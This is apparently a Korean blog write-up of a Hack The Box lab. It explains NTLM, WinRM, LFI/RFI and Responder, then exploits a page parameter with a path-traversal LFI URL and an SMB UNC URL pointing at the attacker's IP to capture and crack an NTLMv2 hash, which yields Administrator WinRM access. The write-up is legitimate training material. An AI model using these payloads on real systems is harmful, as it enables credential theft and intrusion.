
1. 기본 개념
0) nmap
- port-services db 활용
- 항상 믿지는 말자,,
1) window
- 시장 85% 점유율 > 고로 공격 대상 많이 됨.
- 대부분 윈도우 도메인 네트워크 구축으로 active directory 방식 사용.
- 인증 서비스: NTLM, Kerberos
NTLM (=New Technology LAN Manager)
- microsoft가 만든 인증 프로토콜 집합
- Challenge-Response: active directory 도메인 환경에서 클라이언트를 특정 리소스에 인증해줌.
- SSO(= Single Sign-On): 한 번 로그인만 하면. 이후 여러 자원 접근에 재사용 가능함.
> 인증과정은?
1. 클라이언트 -> 서버: 사용자 이름, 도메인 이름 전송
2. 서버: Challeng 생성 = 무작위 문자열 생성
3. 클라이언트 -> 서버: 사용자 비밀번호에 대한 NTLM해시로 Challenge를 암호화한 후, 서버로 전송함
4. 서버: 사용자 비번 조회
5. 서버: 계정 db에 저장된 해시값으로 Challenge암호화해서, 클라이언트와 보낸 값과 동일하다면 인증 ok!
*hash 함수: 데이터를 고정 길이 값으로 변환해줌.
*NTLM: 인증 프로토콜의 일종
*NThash(=NTLM hash): 윈도우 시스템 상의 SAM db나 도메인 컨트롤러에 저장되는 비밀번호 해시 결과.
*NetNTLMv2(= NetNTLMv2 hash ): 네트워크 인증 과정에서 오가는 Challenge/Response 데이터.
2) WinRM(= Windows Remote Management )
포트: 5985
- 그냥 원격 기능 다 수행 가능~ => 그냥 ssh의 window 버전이라 생각하면 됨!
- soap(=Simple Object Access Protocol) 사용
=> 목표: 원격 관리 권한을 획득해 파워셸을 따내자!
리눅스에서 윈도우rm접속하려면?
툴:evil-winrm 사용
3) 호스트 ip변환
ip가 로딩 안 되면 /etc/hosts 파일에 추가 필요.
echo "10.129.128.223 unika.htb" | sudo tee -a /etc/hosts
4) LFI = Local File Inclusion
: 파일 경로를 입력해 파일 내용 추적하는 공격
../ : 맨 위 c 드라이브까지 올라가도록 여러 개 사용
> WINDOWS\System32\drivers\etc\hosts: 흔히 사용하는 추적하고자 하는 파일.
include() 메소드: 코드 내의 특정 파일을 읽도록 하는 함수.
파일 내용이 포함된다 생각하면 됨. (그 파일에 있는 변수 접근 가능 같이,,)
+RFI = remote file inclusion
: 원격 외부 파일을 include하는 공격
ex) //10.10.14.6/somefile
5) php 설정
- allow_url_include
- allow_url_fopen
> 둘 다 off임. LFI를 방지하기 위함.
>> BUT! smb url 로딩에 대한 LFI까지는 차단하지 않는다,,!
6) responder
설치)
git clone https://github.com/lgandx/Responder
작동 순서)
1. responder -> 서버: Challenge값 전송
2. 서버: 사용자 비번 기반으로 Challenge 암호화
3. 서버 -> responder: NetNTLMv2 데이터 획득: Challenge & 암호화
=> 이 responder를 통해 획득한 값을 활용해, 브루투 포스로 비밀번호 후보들과 비교해보면 끝!
툴 사용법)
smb에서 활용해보자!
python3로 실행함.
- I: 수신할 네트워크 인터페이스 지정
해시 크래킹: 해시값만 보고 원래 비밀번호를 찾는 일.
> 툴: John the Ripper
2. 문제 풀이
2개 포트. 하나는 일반 http, 하나는 WinRM임.

일단 해당 ip로 접속 시도 ㄱ. 안 뜸.

이럴 때는 ip와 저 이름을 연결해줄 필요가 있다.

그리고 다시 새로고침 해본다.

위 url창을 보면, 언어를 바꿀 때 인자 page가 생김.

이 인자를 활용해 LFI가 존재하는지 확인해본다.
http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts

일단 LFI는 존재함 확인 완.
이제 Responder를 활용할 차례임. 일단 smb url 사용하기로 했으니, 그 url이 on상태인지만 점검하자.

on상태임을 확인 완.
그럼 responder를 켜준다.
그전에 우리 인터페이스 주소도 알아야 함.
ifconfig로 확인.


responder를 켜서 우리 인터페이스 tun0을 리스닝 상태로 연결해둠.


뭔가 막 줄에 에러가 뜨긴하지만, 일단 작동함.
이제 다시 웹 페이지로 가서, ifconfig로 확인한 인터페이스 주소를 뒤에 치고 검색해본다. 그럼 에러라고 뜨지만, 우리 리스닝 포트 상으로는 NTLM 해시가 들어옴. 뒤 폴더명은 그냥 아무거나 쳐줘도 ㄱㅊ.
=> 내가 SMB 서버인거고, 저렇게 URL을 넘기면 자동으로 저 대상 서버 -> 우리 인터페이스 로 들어오려고 함. 이때 대상 서버의 해시를 responder에 전송하게 되며 우리가 해시를 읽을 수 있는 것.
url: http://unika.htb/index.php?page=//10.10.15.217/so


저 해시는 따로 파일로 저장.

워드 리스트도 지정해줘서(압축 해제 필요) john-the-ripper 실행 ㄱ.
자동으로 해시 유형은 식별해 줌.
이제 저 john 툴이 비번 값을 Challenge로 변화시켜 하나씩 비번과 대조해봄.

크래킹 완!
계정명 Administrator에 비번은 badminton임.
마지막 과정만 남음.
앞 포트에서 winRM이 연결됨을 확인했으니, 그 winRM에 접속만 하면 끝이다.

위 폴더로 올라가서 찾아보자.

플래그 발견!













'Hack The Box > Lab' 카테고리의 다른 글
| Funnel - 터널링 & PostgreSQL & ss (0) | 2026.05.02 |
|---|---|
| Three - awscli & reverse shell & subdomains (0) | 2026.04.30 |
| Crocodile -wappalyzer (0) | 2026.04.30 |
| Sequel - dbms: mysql (0) | 2026.04.29 |
| Appointment - sql injection (0) | 2026.04.29 |